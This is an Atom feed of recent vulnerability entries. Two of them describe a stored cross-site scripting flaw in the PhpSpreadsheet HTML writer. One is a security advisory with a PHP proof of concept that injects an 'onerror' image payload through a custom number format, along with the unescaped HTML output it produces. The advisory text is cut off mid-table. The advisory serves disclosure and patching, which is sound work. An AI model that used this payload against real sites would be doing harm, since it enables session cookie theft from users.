<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-05T10:20:33.488380+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-309008</id>
    <title>EUVD-2026-309008</title>
    <updated>2026-10-05T10:20:33.536300+00:00</updated>
    <content>EUVD-2026-309008</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-309008"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-40296</id>
    <title>fkie_cve-2026-40296</title>
    <updated>2026-10-05T10:20:33.536337+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. The HTML writer skips htmlspecialchars escaping when a cell's formatted value differs from the original value. When a cell has a custom number format containing the text placeholder @ along with any additional literal characters (for example ". @", "@ ", or "x@"), the formatter replaces @ with the cell value and adds the extra characters, causing the formatted value to differ from the original and bypassing HTML escaping entirely. An attacker who can control the cell value and number format of an uploaded spreadsheet that is later converted to HTML and displayed to other users can achieve stored cross-site scripting. This issue is fixed in versions 5.7.0, 3.10.5, 2.4.5, 2.1.16, and 1.30.4.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-40296"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-hrmw-qprp-wgmc</id>
    <title>GHSA-hrmw-qprp-wgmc — PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer</title>
    <updated>2026-10-05T10:20:33.536375+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Packagist: phpoffice/phpspreadsheet</p>
<p>It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.</p>
<p>## The Problem</p>
<p>In `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:</p>
<p>```php
if ($cellData === $origData) {
    $cellData = htmlspecialchars($cellData, ...);
}
```</p>
<p>When a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.</p>
<p>Even a single trailing space in the format (`@ `) is enough to bypass the escape.</p>
<p>## Proof of Concept</p>
<p>```php
use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Writer\Html;
use PhpOffice\PhpSpreadsheet\Cell\DataType;</p>
<p>$spreadsheet = new Spreadsheet();
$sheet = $spreadsheet-&gt;getActiveSheet();</p>
<p>// XSS payload with malicious number format
$sheet-&gt;setCellValueExplicit('A1', '&lt;img src=x onerror=alert(document.cookie)&gt;', DataType::TYPE_STRING);
$sheet-&gt;getStyle('A1')-&gt;getNumberFormat()-&gt;setFormatCode('. @');</p>
<p>$writer = new Html($spreadsheet);
$writer-&gt;save('output.html');
```</p>
<p>The generated HTML contains:
```html
&lt;td&gt;. &lt;img src=x onerror=alert(document.cookie)&gt;&lt;/td&gt;
```</p>
<p>The XSS payload is **completely unescaped**.</p>
<p>## Tested Bypass Formats</p>
<p>| Format Code | Result | Escaped? |
|---|---|---|
| `General` (defau…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-hrmw-qprp-wgmc"/>
  </entry>
</feed>
